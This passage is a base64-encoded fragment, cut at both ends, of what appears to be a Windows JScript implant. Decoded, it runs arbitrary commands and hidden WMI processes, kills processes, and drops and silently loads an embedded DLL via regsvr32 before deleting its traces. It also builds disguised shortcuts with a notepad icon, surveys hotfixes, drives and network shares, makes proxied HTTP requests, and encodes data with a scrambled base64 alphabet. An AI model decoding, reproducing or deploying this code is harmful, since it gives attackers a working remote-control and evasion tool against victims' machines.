md0aDtqPG1heExlbkxpc3RbaV07KytqKXJlcys9c3BsaXRDaGFyOw0KCQl9DQoJCXJlcys9J1xuJzsNCgkJZm9yKGkgaW4gcHJvY0xpc3Qpew0KCQkJcHJvYyA9IHByb2NMaXN0W2ldOw0KCQkJZm9yKGogaW4gYmFuZGVyTGlzdCl7DQoJCQkJZWxlID0gcHJvYy5Qcm9wZXJ0aWVzXy5pdGVtKGJhbmRlckxpc3Rbal0pICsgJyAnOw0KCQkJCXJlcyArPSBlbGU7DQoJCQkJaWYoajxiYW5kZXJMaXN0Lmxlbmd0aC0xKWZvcihrPWVsZS5sZW5ndGg7azxtYXhMZW5MaXN0W2pdOysraylyZXMrPXNwbGl0Q2hhcjsNCgkJCX0NCgkJCXJlcys9J1xuJzsNCgkJfQ0KCQlyZXR1cm4gcmVzOw0KCX0sDQoJDQoJaW5BcnJheTpmdW5jdGlvbihhcnIsIGl0ZW0pew0KCQlmb3IoaT0wO2k8YXJyLmxlbmd0aDsrK2kpew0KCQkJaWYoYXJyW2ldLnRvTG93ZXJDYXNlKCk9PWl0ZW0udG9Mb3dlckNhc2UoKSlicmVhazsNCgkJfQ0KCQlyZXR1cm4gaTxhcnIubGVuZ3RoOw0KCX0sDQoJcEluZm86ZnVuY3Rpb24ocGlkLCBxdWVyeSl7DQoJCWlmKHF1ZXJ5IT1udWxsKXsNCgkJCXF1ZXJ5ID0gcXVlcnkucmVwbGFjZSgvXHMvZywgJycpOw0KCQkJcXVlcnlBcnJheSA9IHF1ZXJ5LnNwbGl0KCcsJyk7DQoJCX0NCgkJcmVzID0gJ1BJRD0nICsgcGlkLnRvU3RyaW5nKCkrJ1xuJzsNCgkJdmFyIGUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoJ3NlbGVjdCAqIGZyb20gV2luMzJfUHJvY2VzcyB3aGVyZSBQcm9jZXNzSWQ9JyArIHBpZC50b1N0cmluZygpKSk7DQoJCWZvcihlLm1vdmVGaXJzdCgpOyAhZS5hdEVuZCgpOyBlLm1vdmVOZXh0KCkpew0KCQkJcHJvYyA9IGUuaXRlbSgpOw0KCQkJbWV0aG9kID0gcHJvYy5NZXRob2RzXy5JdGVtKCdHZXRPd25lcicpOw0KCQkJb3V0UGFyYW1zID0gcHJvYy5FeGVjTWV0aG9kXyhtZXRob2QuTmFtZSwgbnVsbCk7DQoJCQlyZXMgKz0gJ093bmVyID0gJyArIG91dFBhcmFtcy5Vc2VyKydcXCcrb3V0UGFyYW1zLkRvbWFpbiArICdcbic7DQoJCQl2YXIgcGUgPSBuZXcgRW51bWVyYXRvcihwcm9jLlByb3BlcnRpZXNfKTsNCgkJCWZvcihwZS5tb3ZlRmlyc3QoKTsgIXBlLmF0RW5kKCk7IHBlLm1vdmVOZXh0KCkpew0KCQkJCXByb3BlcnR5ID0gcGUuaXRlbSgpOw0KCQkJCWlmKHF1ZXJ5IT1udWxsICYmICF0aGlzLmluQXJyYXkocXVlcnlBcnJheSxwcm9wZXJ0eS5OYW1lKSl7DQoJCQkJCWNvbnRpbnVlOw0KCQkJCX0NCgkJCQlpZihwcm9wZXJ0eS5WYWx1ZSE9bnVsbCl7DQoJCQkJCXJlcyArPSBwcm9wZXJ0eS5OYW1lICsgJyA9ICcgKyBwcm9wZXJ0eS5WYWx1ZS50b1N0cmluZygpICsgJ1xuJzsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcmV0dXJuIHJlczsNCgl9LA0KCQ0KCV9wVHJlZTpmdW5jdGlvbihwaWQsIGxldmVsKXsNCgkJcmVzID0gJyc7DQoJCXZhciBlID0gbmV3IEVudW1lcmF0b3IodGhpcy5vQ2ltdjIuRXhlY1F1ZXJ5KCdzZWxlY3QgKiBmcm9tIFdpbjMyX1Byb2Nlc3Mgd2hlcmUgUHJvY2Vzc0lkPScrcGlkLnRvU3RyaW5nKCkpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7ICFlLmF0RW5kKCk7IGUubW92ZU5leHQoKSl7DQoJCQlwcm9jID0gZS5pdGVtKCk7DQoJCQlmb3IoaT0wO2k8bGV2ZWw7KytpKXtyZXMgKz0gJ1x0J30NCgkJCXJlcyArPSBwcm9jLk5hbWUgKyAnICcgKyBwcm9jLlByb2Nlc3NJZCArICdcbic7DQoJCX0NCgkJdmFyIGUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoJ3NlbGVjdCAqIGZyb20gV2luMzJfUHJvY2VzcyB3aGVyZSBQYXJlbnRQcm9jZXNzSWQ9JytwaWQudG9TdHJpbmcoKSkpOw0KCQlmb3IoZS5tb3ZlRmlyc3QoKTsgIWUuYXRFbmQoKTsgZS5tb3ZlTmV4dCgpKXsNCgkJCXByb2MgPSBlLml0ZW0oKTsNCgkJCXJlcyArPSB0aGlzLl9wVHJlZShwcm9jLlByb2Nlc3NJZCwgbGV2ZWwrMSk7DQoJCX0NCgkJcmV0dXJuIHJlczsNCgl9LA0KCXBUcmVlOmZ1bmN0aW9uKHBpZCl7DQoJCXJldHVybiB0aGlzLl9wVHJlZShwaWQsIDApOw0KCX0sDQoJDQoJcEtpbGw6ZnVuY3Rpb24ocGlkKXsNCgkJdmFyIGUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoJ3NlbGVjdCAqIGZyb20gV2luMzJfUHJvY2VzcyB3aGVyZSBQcm9jZXNzSWQ9JytwaWQudG9TdHJpbmcoKSkpOw0KCQlmb3IoZS5tb3ZlRmlyc3QoKTsgIWUuYXRFbmQoKTsgZS5tb3ZlTmV4dCgpKXsNCgkJCWUuaXRlbSgpLlRlcm1pbmF0ZSgpOw0KCQl9DQoJCXJldHVybiBwaWQrJyB0ZXJtaW5hdGVkJzsNCgl9LA0KCXBLaWxsVHJlZTpmdW5jdGlvbihwaWQpew0KCQl0aGlzLnBLaWxsKHBpZCk7DQoJCXZhciBlID0gbmV3IEVudW1lcmF0b3IodGhpcy5vQ2ltdjIuRXhlY1F1ZXJ5KCdzZWxlY3QgKiBmcm9tIFdpbjMyX1Byb2Nlc3Mgd2hlcmUgUGFyZW50UHJvY2Vzc0lkPScrcGlkLnRvU3RyaW5nKCkpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7ICFlLmF0RW5kKCk7IGUubW92ZU5leHQoKSl7DQoJCQl0aGlzLnBLaWxsVHJlZShlLml0ZW0oKS5Qcm9jZXNzSWQpOw0KCQl9DQoJfSwNCgkNCglyYW5kU3RyOmZ1bmN0aW9uKGxlbil7DQoJCXJlcyA9ICcnOw0KCQl0YWJsZSA9ICdBQkNERUZHSEpLTU5QUVJTVFdYWVphYmNkZWZoaWprbW5wcnN0d3h5ejIzNDU2NzgnOw0KCQlmb3IoaT0wOyBpPGxlbjsgaSsrKXsNCgkJCXJlcyArPSB0YWJsZS5jaGFyQXQoTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogdGFibGUubGVuZ3RoKSk7DQoJCX0NCgkJcmV0dXJuIHJlczsNCgl9LA0KCW1vY2tSdW46ZnVuY3Rpb24ocmVhbCwgYXJncywgdGltZW91dCwgbW9jayl7DQoJCXJlYWxUaW1lT3V0ID0gNTsNCgkJaWYodGltZW91dCE9bnVsbClyZWFsVGltZU91dD10aW1lb3V0Ow0KCQlpZihtb2NrPT1udWxsKW1vY2s9J3JlZ3N2cjMyJzsNCgkJDQoJCW1vY2tEbGxOYW1lID0gJ34uJyArIHRoaXMucmFuZFN0cigxNik7DQoJCW1vY2tEbGxQYXRoID0gdGhpcy50bXBEaXIgKyAnXFwnICsgbW9ja0RsbE5hbWUgKyAnLmRsbCc7DQoJCW1vY2tJbmlQYXRoID0gdGhpcy50bXBEaXIgKyAnXFwnICsgbW9ja0RsbE5hbWUgKyAnLmluaSc7DQoJCW1vY2tPdXRQYXRoID0gdGhpcy50bXBEaXIgKyAnXFwnICsgbW9ja0RsbE5hbWUgKyAnLm91dCc7DQoJCWlmKHRoaXMub3NCaXQ9PSczMicpew0KCQkJdGhpcy5iYXNlNjRUb0ZpbGUobW9ja0RsbFBhdGgsIHRoaXMuQmFzZTY0X01vY2tEbGwzMik7DQoJCX1lbHNlIGlmKHRoaXMub3NCaXQ9PSc2NCcpew0KCQkJdGhpcy5iYXNlNjRUb0ZpbGUobW9ja0RsbFBhdGgsIHRoaXMuQmFzZTY0X01vY2tEbGw2NCk7DQoJCX1lbHNle3JldHVybiAndW5rbm93biBvc0JpdCc7fQ0KCQlpbmlGaWxlID0gdGhpcy5vRlMuQ3JlYXRlVGV4dEZpbGUobW9ja0luaVBhdGgsIHRydWUpOw0KCQlpbmlGaWxlLldyaXRlTGluZSgnW2NmZ10nKTsNCgkJaW5pRmlsZS5Xcml0ZUxpbmUoJ21vY2s9IicrIG1vY2sgKyciJyk7DQoJCWluaUZpbGUuV3JpdGVMaW5lKCdyZWFsPSInKyByZWFsICsnIicpOw0KCQlpbmlGaWxlLldyaXRlTGluZSgnYXJncz0nICsgYXJncyk7DQoJCWluaUZpbGUuV3JpdGVMaW5lKCdvdXRmPSInICsgbW9ja091dFBhdGggKyciJyk7DQoJCWlmKHJlYWxUaW1lT3V0PjApaW5pRmlsZS5Xcml0ZUxpbmUoJ3RpbWU9JyArIHJlYWxUaW1lT3V0KTsNCgkJaW5pRmlsZS5DbG9zZSgpOw0KCQl0aGlzLm9TaGVsbC5SdW4oJ3JlZ3N2cjMyIC9zICInK21vY2tEbGxQYXRoKyciJywgMCwgcmVhbFRpbWVPdXQ+MCk7DQoJCWlmKHJlYWxUaW1lT3V0PDEpV1NjcmlwdC5TbGVlcCgxMDAwKTsNCgkJcmVzPSdyZWFkIG91dEZpbGUgJyttb2NrT3V0UGF0aCsnIGZhaWxlZCc7DQoJCXRyeXsNCgkJCUZvclJlYWRpbmcgPSAxOw0KCQkJb3V0RmlsZSA9IHRoaXMub0ZTLk9wZW5UZXh0RmlsZShtb2NrT3V0UGF0aCwgRm9yUmVhZGluZyk7DQoJCQlyZXMgPSBvdXRGaWxlLlJlYWRBbGwoKTsNCgkJCW91dEZpbGUuQ2xvc2UoKTsNCgkJCXRyeXt0aGlzLm9GUy5EZWxldGVGaWxlKG1vY2tEbGxQYXRoKTt9Y2F0Y2goZXJyKXt9DQoJCQl0cnl7dGhpcy5vRlMuRGVsZXRlRmlsZShtb2NrSW5pUGF0aCk7fWNhdGNoKGVycil7fQ0KCQkJaWYocmVhbFRpbWVPdXQ+MCl0cnl7dGhpcy5vRlMuRGVsZXRlRmlsZShtb2NrT3V0UGF0aCk7fWNhdGNoKGVycil7fQ0KCQl9Y2F0Y2goZXJyKXt9DQoJCXJldHVybiByZXM7DQoJfSwNCgkNCglydW46ZnVuY3Rpb24oY21kbGluZSwgc2hvdyl7DQoJCXJlYWxTaG93ID0gMDsNCgkJaWYoc2hvdylyZWFsU2hvdyA9IHNob3c7DQoJCXJldHVybiB0aGlzLm9TaGVsbC5SdW4oY21kbGluZSwgcmVhbFNob3csIGZhbHNlKTsNCgl9LA0KCQ0KCWV4ZWM6ZnVuY3Rpb24oY21kbGluZSwgdGltZW91dCl7DQoJCXJlcyA9ICcnOw0KCQlyZWFsU2VjID0gMzsNCgkJaWYodGltZW91dCE9bnVsbCl7cmVhbFNlYz10aW1lb3V0O30NCgkJd2FpdFRpbWUgPSByZWFsU2VjKjEwOw0KCQlXc2hSdW5uaW5nID0gMDsNCgkJV3NoRmluaXNoZWQgPSAxOw0KCQl0cnl7DQoJCQlvRXhlYyA9IHRoaXMub1NoZWxsLkV4ZWMoY21kbGluZSk7DQoJCQlpZih3YWl0VGltZTw9MCl7DQoJCQkJcmV0dXJuICdQcm9jZXNzSUQ9JytvRXhlYy5Qcm9jZXNzSUQrJyx0aW1lb3V0PD0wJzsNCgkJCX0NCgkJCWRvew0KCQkJCWlmKG9FeGVjLnN0YXR1cz09V3NoRmluaXNoZWQpYnJlYWs7DQoJCQkJV1NjcmlwdC5TbGVlcCgxMDApOw0KCQkJfXdoaWxlKHdhaXRUaW1lLS0pOw0KCQkJaWYob0V4ZWMuc3RhdHVzPT1Xc2hSdW5uaW5nKXsNCgkJCQlvRXhlYy5UZXJtaW5hdGUoKTsNCgkJCX0NCgkJCXJlcyArPSAnUHJvY2Vzc0lEPScrb0V4ZWMuUHJvY2Vzc0lEKycsdGltZW91dD0nK3RpbWVvdXQrJyxFeGl0Q29kZT0nK29FeGVjLkV4aXRDb2RlKydcclxuJzsNCgkJCWlmKCFvRXhlYy5TdGRPdXQuQXRFbmRPZlN0cmVhbSlyZXMrPW9FeGVjLlN0ZE91dC5yZWFkQWxsKCk7DQoJCQlpZighb0V4ZWMuU3RkRXJyLkF0RW5kT2ZTdHJlYW0pcmVzKz1vRXhlYy5TdGRFcnIucmVhZEFsbCgpOw0KCQl9Y2F0Y2goZXJyKXtyZXMrPXRoaXMuZXJyT2JqVG9TdHIoZXJyKTt9DQoJCXJldHVybiAgcmVzOw0KCX0sDQoJDQoJbWtzYzpmdW5jdGlvbihwYXRoLCB0YXJnZXQsIGFyZ3Mpew0KCQl2YXIgbGluayA9IHRoaXMub1NoZWxsLkNyZWF0ZVNob3J0Y3V0KHBhdGgpOw0KCQlNaW5pbWl6ZWQgPSA3Ow0KCQlsaW5rLlRhcmdldFBhdGggPSB0YXJnZXQ7DQoJCWxpbmsuQXJndW1lbnRzID0gYXJnczsNCgkJbGluay5XaW5kb3dTdHlsZSA9IE1pbmltaXplZDsNCgkJbGluay5JY29uTG9jYXRpb24gPSAnbm90ZXBhZC5leGUsIDAnOw0KCQlsaW5rLlNhdmUoKTsNCgkJcmV0dXJuICdkb25lJzsNCgl9LA0KCQ0KCWtiOmZ1bmN0aW9uKCl7DQoJCXZhciByZXMgPSAnJzsNCgkJdmFyIGUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoIlNFTEVDVCAqIEZST00gV2luMzJfUXVpY2tGaXhFbmdpbmVlcmluZyIpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7ICFlLmF0RW5kKCk7IGUubW92ZU5leHQoKSl7DQoJCQl2YXIgb2JqUXVpY2tGaXggPSBlLml0ZW0oKTsNCgkJCXJlcyArPSBvYmpRdWlja0ZpeC5Ib3RGaXhJRCArICdcbic7DQoJCX0NCgkJcmV0dXJuIHJlczsNCgl9LA0KCQ0KCWRyaXZlOmZ1bmN0aW9uKCl7DQoJCXZhciBzID0gIi0tLUxvY2FsIGRyaXZlXHJcbiI7DQoJCXZhciBieXRlc1BlckdCID0gMTAyNCAqIDEwMjQgKiAxMDI0Ow0KCQl2YXIgZSA9IG5ldyBFbnVtZXJhdG9yKHRoaXMub0ZTLkRyaXZlcyk7DQoJCWZvcihlLm1vdmVGaXJzdCgpOyAhZS5hdEVuZCgpOyBlLm1vdmVOZXh0KCkpew0KCQkJdmFyIGRydiA9IGUuaXRlbSgpOw0KCQkJcyArPSBkcnYuUGF0aCArICIgLSAiOw0KCQkJaWYoZHJ2LklzUmVhZHkpew0KCQkJCXZhciBmcmVlR0IgPSBkcnYuRnJlZVNwYWNlIC8gYnl0ZXNQZXJHQjsNCgkJCQl2YXIgdG90YWxHQiA9IGRydi5Ub3RhbFNpemUgLyBieXRlc1BlckdCOw0KDQoJCQkJcyArPSBmcmVlR0IudG9GaXhlZCgzKSArICIgR0IgLyAiOw0KCQkJCXMgKz0gdG90YWxHQi50b0ZpeGVkKDMpICsgIiBHQiI7DQoJCQl9ZWxzZXsNCgkJCQlzICs9ICJOb3QgUmVhZHkiOw0KCQkJfQ0KCQkJcyArPSAiXHJcbiI7DQoJCX0NCgkJcyArPSAiXHJcbiI7DQoJCQ0KCQlzICs9ICItLS1OZXR3b3JrIGRyaXZlIG1hcHBpbmdzXHJcbiI7DQoJCXZhciBvRHJpdmVzID0gdGhpcy5vTmV0LkVudW1OZXR3b3JrRHJpdmVzKCk7DQoJCWZvcihpID0gMDsgaSA8IG9Ecml2ZXMubGVuZ3RoOyBpICs9IDIpIHsNCiAgICAgICAgICAgIHMgKz0gIkRyaXZlICIgKyBvRHJpdmVzLkl0ZW0oaSkgKyAiIC0gIiArIG9Ecml2ZXMuSXRlbShpICsgMSkgKyAiXHJcbiI7DQoJCX0NCgkJDQoJCXMgKz0gIlxyXG4iOw0KCQlzICs9ICItLS1OZXR3b3JrIHByaW50ZXIgbWFwcGluZ3NcclxuIjsNCgkJdmFyIG9QcmludGVycyA9IHRoaXMub05ldC5FbnVtUHJpbnRlckNvbm5lY3Rpb25zKCk7DQoJCWZvcihpID0gMDsgaSA8IG9QcmludGVycy5sZW5ndGg7IGkgKz0gMikgew0KICAgICAgICAgICAgcyArPSAiUG9ydCAiICsgb1ByaW50ZXJzLkl0ZW0oaSkgKyAiIC0gIiArIG9QcmludGVycy5JdGVtKGkgKyAxKSArICJcclxuIjs7DQoJCX0NCgkJDQoJCXJldHVybihzKTsNCgl9LA0KCQ0KCXJlcTpmdW5jdGlvbih1cmwsIG1ldGhvZCwgZGF0YSwgY29va2llLCBwcm94eSwgdXNlcm5hbWUsIHBhc3N3b3JkKXsNCgkJb0h0dHAgPSBuZXcgQWN0aXZlWE9iamVjdCgnTVNYTUwyLlNlcnZlclhNTEhUVFAuNi4wJyk7DQoJCWlmKHByb3h5ICYmIHByb3h5Lmxlbmd0aD4wKXsNCgkJCVNYSF9QUk9YWV9TRVRfUFJPWFkgPSAyOw0KCQkJb0h0dHAuc2V0UHJveHkoU1hIX1BST1hZX1NFVF9QUk9YWSwgcHJveHksICc8bG9jYWw+Jyk7DQoJCX1lbHNlew0KCQkJU1hIX1BST1hZX1NFVF9QUkVDT05GSUcgPSAwOw0KCQkJb0h0dHAuc2V0UHJveHkoU1hIX1BST1hZX1NFVF9QUkVDT05GSUcpOw0KCQl9DQoJCWlmKG1ldGhvZCAmJiBtZXRob2QubGVuZ3RoPjApew0KCQkJb0h0dHAub3BlbihtZXRob2QsIHVybCwgZmFsc2UpOw0KCQl9ZWxzZXsNCgkJCW9IdHRwLm9wZW4oJ0dFVCcsIHVybCwgZmFsc2UpOw0KCQl9DQoJCW9IdHRwLnNldE9wdGlvbigyLCAxMzA1Nik7DQoJCWlmKHVzZXJuYW1lIT1udWxsICYmIHBhc3N3b3JkIT1udWxsKXsNCgkJCW9IdHRwLnNldFByb3h5Q3JlZGVudGlhbHModXNlcm5hbWUsIHBhc3N3b3JkKTsNCgkJfQ0KCQlpZihjb29raWUgJiYgY29va2llLmxlbmd0aD4wKXsNCgkJCW9IdHRwLnNldFJlcXVlc3RIZWFkZXIoJ0Nvb2tpZScsIGNvb2tpZSk7DQoJCX0NCgkJb0h0dHAuc2V0UmVxdWVzdEhlYWRlcignQ09OVEVOVC1UWVBFJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOw0KCQlpZihkYXRhICYmIGRhdGEubGVuZ3RoPjApew0KCQkJb0h0dHAuc2VuZChkYXRhKTsNCgkJfWVsc2V7DQoJCQlvSHR0cC5zZW5kKCk7DQoJCX0NCgkJcmV0dXJuIG9IdHRwLmdldEFsbFJlc3BvbnNlSGVhZGVycygpICsgb0h0dHAucmVzcG9uc2VUZXh0Ow0KCX0sDQoJDQoJcENyZWF0ZTpmdW5jdGlvbihDb21tYW5kTGluZSl7DQoJCXZhciBzdGFydEluZm8gPSB0aGlzLm9DaW12Mi5HZXQoIldpbjMyX1Byb2Nlc3NTdGFydHVwIikuU3Bhd25JbnN0YW5jZV8oKTsNCgkJc3RhcnRJbmZvLlNob3dXaW5kb3cgPSAwOw0KDQoJCXZhciBwcm9jZXNzID0gdGhpcy5vQ2ltdjIuR2V0KCdXaW4zMl9Qcm9jZXNzJyk7DQoJCXZhciBtZXRob2QgPSBwcm9jZXNzLk1ldGhvZHNfLkl0ZW0oJ0NyZWF0ZScpOw0KCQl2YXIgaW5QYXJhbXMgPSBtZXRob2QuSW5QYXJhbWV0ZXJzLlNwYXduSW5zdGFuY2VfKCk7DQoJCWluUGFyYW1zLkNvbW1hbmRMaW5lID0gQ29tbWFuZExpbmU7DQoJCWluUGFyYW1zLkN1cnJlbnREaXJlY3RvcnkgPSBudWxsOw0KCQlpblBhcmFtcy5Qcm9jZXNzU3RhcnR1cEluZm9ybWF0aW9uID0gc3RhcnRJbmZvOw0KDQoJCXZhciBvdXRQYXJhbXMgPSBwcm9jZXNzLkV4ZWNNZXRob2RfKG1ldGhvZC5OYW1lLCBpblBhcmFtcyk7DQoJCWlmIChvdXRQYXJhbXMuUmV0dXJuVmFsdWUgPT0gMCkNCgkJCXJldHVybiBvdXRQYXJhbXMuUHJvY2Vzc0lkOw0KCQllbHNlDQoJCQlyZXR1cm4gMDsNCgl9LA0KCXBFeGlzdHM6ZnVuY3Rpb24ocHJvY2Vzc0lkKXsNCgkgIHZhciBjb2xQcm9jZXNzID0gbmV3IEVudW1lcmF0b3IodGhpcy5vQ2ltdjIuRXhlY1F1ZXJ5KCJzZWxlY3QgUHJvY2Vzc0lkIGZyb20gV2luMzJfUHJvY2VzcyB3aGVyZSBQcm9jZXNzSWQ9IiArIHByb2Nlc3NJZC50b1N0cmluZygpKSk7DQoJICByZXR1cm4gIWNvbFByb2Nlc3MuYXRFbmQoKTsNCgl9LA0KCWV4ZWNXaXRoQ1NjcmlwdDpmdW5jdGlvbihjbWQsIHNlYyl7DQoJCXZhciBzY3JpcHRGaWxlUGF0aCA9IHRoaXMudG1wRGlyICsgJ1xcfi4nK3RoaXMucmFuZFN0cigxNik7DQoJCXZhciBvdXRGaWxlUGF0aCA9IHNjcmlwdEZpbGVQYXRoKycuZGF0JzsNCgkJdHJ5ew0KCQkJZiA9IHRoaXMub0ZTLk9wZW5UZXh0RmlsZShzY3JpcHRGaWxlUGF0aCwgMiwgMSk7DQoJCQlmLldyaXRlKCJXPW5ldyBBY3RpdmVYT2JqZWN0KCdXU2NyaXB0LlNoZWxsJyk7Iik7DQoJCQlmLldyaXRlKCJGPShuZXcgQWN0aXZlWE9iamVjdCgnU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QnKSkuT3BlblRleHRGaWxlKHVuZXNjYXBlKCciK2VzY2FwZShvdXRGaWxlUGF0aCkrIicpLDIsMSk7Iik7DQoJCQlmLldyaXRlKCJPPVcuRXhlYyh1bmVzY2FwZSgnIitlc2NhcGUoY21kKSsiJykpO0YuV3JpdGUoTy5TdGRPdXQuUmVhZEFsbCgpK08uU3RkRXJyLlJlYWRBbGwoKSk7Ri5DbG9zZSgpOyIpOw0KCQkJZi5DbG9zZSgpOw0KCQl9Y2F0Y2goZXJyKXsNCgkJCXRyeXt0aGlzLm9GUy5EZWxldGVGaWxlKHNjcmlwdEZpbGVQYXRoKTt9Y2F0Y2goZXJyKXt9DQoJCQlyZXR1cm4gJ1dyaXRlIHNjcmlwdEZpbGUgZXJyb3InOw0KCQl9DQoJCXBpZCA9IHRoaXMucENyZWF0ZSgnY3NjcmlwdCAvRTpKU2NyaXB0IC9ub2xvZ28gIicrc2NyaXB0RmlsZVBhdGgrJyInKTsNCgkJZm9yIChpPTA7IGk8c2VjKjEwOyBpKyspew0KCQkJaWYgKCF0aGlzLnBFeGlzdHMocGlkKSl7DQoJCQkJcmVzID0gJyc7DQoJCQkJdHJ5ew0KCQkJCQlmID0gdGhpcy5vRlMuT3BlblRleHRGaWxlKG91dEZpbGVQYXRoLCAxKTsNCgkJCQkJcmVzID0gZi5SZWFkQWxsKCk7DQoJCQkJCWYuQ2xvc2UoKTsNCgkJCQl9Y2F0Y2goZXJyKXt9DQoJCQkJdHJ5e3RoaXMub0ZTLkRlbGV0ZUZpbGUoc2NyaXB0RmlsZVBhdGgpO3RoaXMub0ZTLkRlbGV0ZUZpbGUob3V0RmlsZVBhdGgpO31jYXRjaChlcnIpe30NCgkJCQlyZXR1cm4gcmVzOw0KCQkJfQ0KCQkJV1NjcmlwdC5TbGVlcCgxMDApOw0KCQl9DQoJCXRyeXt0aGlzLm9GUy5EZWxldGVGaWxlKHNjcmlwdEZpbGVQYXRoKTt9Y2F0Y2goZXJyKXt9DQoJCXJldHVybiAnW1RpbWVvdXRdIG91dGY6ICcrb3V0RmlsZVBhdGgrJyBwaWQ9JytwaWQ7DQoJfSwNCgkNCgliYXNlNjRUb0ZpbGU6ZnVuY3Rpb24ocGF0aCwgYmluKXsNCgkJcmVzID0gJyc7DQoJCXRyeXsNCgkJCXZhciBhZG8gPSBuZXcgQWN0aXZlWE9iamVjdCgnQURPREIuU3RyZWFtJyk7DQoJCQl2YXIgeG1sID0gbmV3IEFjdGl2ZVhPYmplY3QoJ01pY3Jvc29mdC5YTUxET00nKTsNCgkJCXZhciBub2RlID0geG1sLmNyZWF0ZUVsZW1lbnQoImJpbmFyeSIpOw0KCQkJbm9kZS5kYXRhVHlwZSA9ICdiaW4uYmFzZTY0JzsNCgkJCW5vZGUudGV4dCA9IGJpbjsNCgkJCWJpbiA9IG5vZGUubm9kZVR5cGVkVmFsdWU7DQoJCQlkZWxldGUgbm9kZTsNCgkJCWRlbGV0ZSB4bWw7DQoJCQl2YXIgYWRTYXZlQ3JlYXRlT3ZlcndyaXRlICA9IDI7DQoJCQl2YXIgYWRUeXBlQmluYXJ5ID0gMTsNCgkJCWFkby5PcGVuKCk7DQoJCQlhZG8uVHlwZSA9IGFkVHlwZUJpbmFyeTsNCgkJCWFkby5Qb3NpdGlvbiA9IDA7DQoJCQlhZG8uV3JpdGUoYmluKTsNCgkJCWFkby5TYXZlVG9GaWxlKHBhdGgsIGFkU2F2ZUNyZWF0ZU92ZXJ3cml0ZSk7DQoJCQlhZG8uQ2xvc2UoKTsNCgkJCWRlbGV0ZSBhZG87DQoJCQlmID0gdGhpcy5vRlMuR2V0RmlsZShwYXRoKTsNCgkJCXJlcyA9IGYuU2l6ZTsNCgkJfWNhdGNoKGVycil7cmVzPXRoaXMuZXJyT2JqVG9TdHIoZXJyKTt9DQoJCXJldHVybiByZXM7DQoJfSwNCgkNCglfa2V5U3RyIDogIjAxMjM0YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXo1Njc4OUFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaKy8iICsgIj0iLA0KCWVuY29kZSA6IGZ1bmN0aW9uIChpbnB1dCkgew0KCQl2YXIgb3V0cHV0ID0gIiI7DQoJCXZhciBjaHIxLCBjaHIyLCBjaHIzLCBlbmMxLCBlbmMyLCBlbmMzLCBlbmM0Ow0KCQl2YXIgaSA9IDA7DQoJCWlucHV0ID0gdGhpcy5fdXRmOF9lbmNvZGUoaW5wdXQpOw0KCQl3aGlsZSAoaSA8IGlucHV0Lmxlbmd0aCkgew0KCQkJY2hyMSA9IGlucHV0LmNoYXJDb2RlQXQoaSsrKTsNCgkJCWNocjIgPSBpbnB1dC5jaGFyQ29kZUF0KGkrKyk7DQoJCQljaHIzID0gaW5wdXQuY2hhckNvZGVBdChpKyspOw0KCQkJZW5jMSA9IGNocjEgPj4gMjsNCgkJCWVuYzIgPSAoKGNocjEgJiAzKSA8PCA0KSB8IChjaHIyID4+IDQpOw0KCQkJZW5jMyA9ICgoY2hyMiAmIDE1KSA8PCAyKSB8IChjaHIzID4+IDYpOw0KCQkJZW5jNCA9IGNocjMgJiA2MzsNCgkJCWlmIChpc05hTihjaHIyKSkgew0KCQkJCWVuYzMgPSBlbmM0ID0gNjQ7DQoJCQl9IGVsc2UgaWYgKGlzTmFOKGNocjMpKSB7DQoJCQkJZW5jNCA9IDY0Ow0KCQkJfQ0KCQkJb3V0cHV0ID0gb3V0cHV0ICsNCgkJCXRoaXMuX2tleVN0ci5jaGFyQXQoZW5jMSkgKyB0aGlzLl9rZXlTdHIuY2hhckF0KGVuYzIpICsNCgkJCXRoaXMuX2tleVN0ci5jaGFyQXQoZW5jMykgKyB0aGlzLl9rZXlTdHIuY2hhckF0KGVuYzQpOw0KCQl9DQoJCXJldHVybiBvdXRwdXQ7DQoJfSwNCglkZWNvZGUgOiBmdW5jdGlvbiAoaW5wdXQpIHsNCgkJdmFyIG91dHB1dCA9ICIiOw0KCQl2YXIgY2hyMSwgY2hyMiwgY2hyMzsNCgkJdmFyIGVuYzEsIGVuYzIsIGVuYzMsIGVuYzQ7DQoJCXZhciBpID0gMDsNCgkJaW5wdXQgPSBpbnB1dC5yZXBsYWNlKC9bXkEtWmEtejAtOVwrXC9cPV0vZywgIiIpOw0KCQl3aGlsZSAoaSA8IGlucHV0Lmxlbmd0aCkgew0KCQkJZW5jMSA9IHRoaXMuX2tleVN0ci5pbmRleE9mKGlucHV0LmNoYXJBdChpKyspKTsNCgkJCWVuYzIgPSB0aGlzLl9rZXlTdHIuaW5kZXhPZihpbnB1dC5jaGFyQXQoaSsrKSk7DQoJCQllbmMzID0gdGhpcy5fa2V5U3RyLmluZGV4T2YoaW5wdXQuY2hhckF0KGkrKykpOw0KCQkJZW5jNCA9IHRoaXMuX2tleVN0ci5pbmRleE9mKGlucHV0LmNoYXJBdChpKyspKTsNCgkJCWNocjEgPSAoZW5jMSA8PCAyKSB8IChlbmMyID4+IDQpOw0KCQkJY2hyMiA9ICgoZW5jMiAmIDE1KSA8PCA0KSB8IChlbmMzID4+IDIpOw0KCQkJY2hyMyA9ICgoZW5jMyAmIDMpIDw8IDYpIHwgZW5jNDsNCgkJCW91dHB1dCA9IG91dHB1dCArIFN0cmluZy5mcm9tQ2hhckNvZGUoY2hyMSk7DQoJCQlpZiAoZW5jMyAhPSA2NCkgew0KCQkJCW91dHB1dCA9IG91dHB1dCArIFN0cmluZy5mcm9tQ2hhckNvZGUoY2hyMik7DQoJCQl9DQoJCQlpZiAoZW5jNCAhPSA2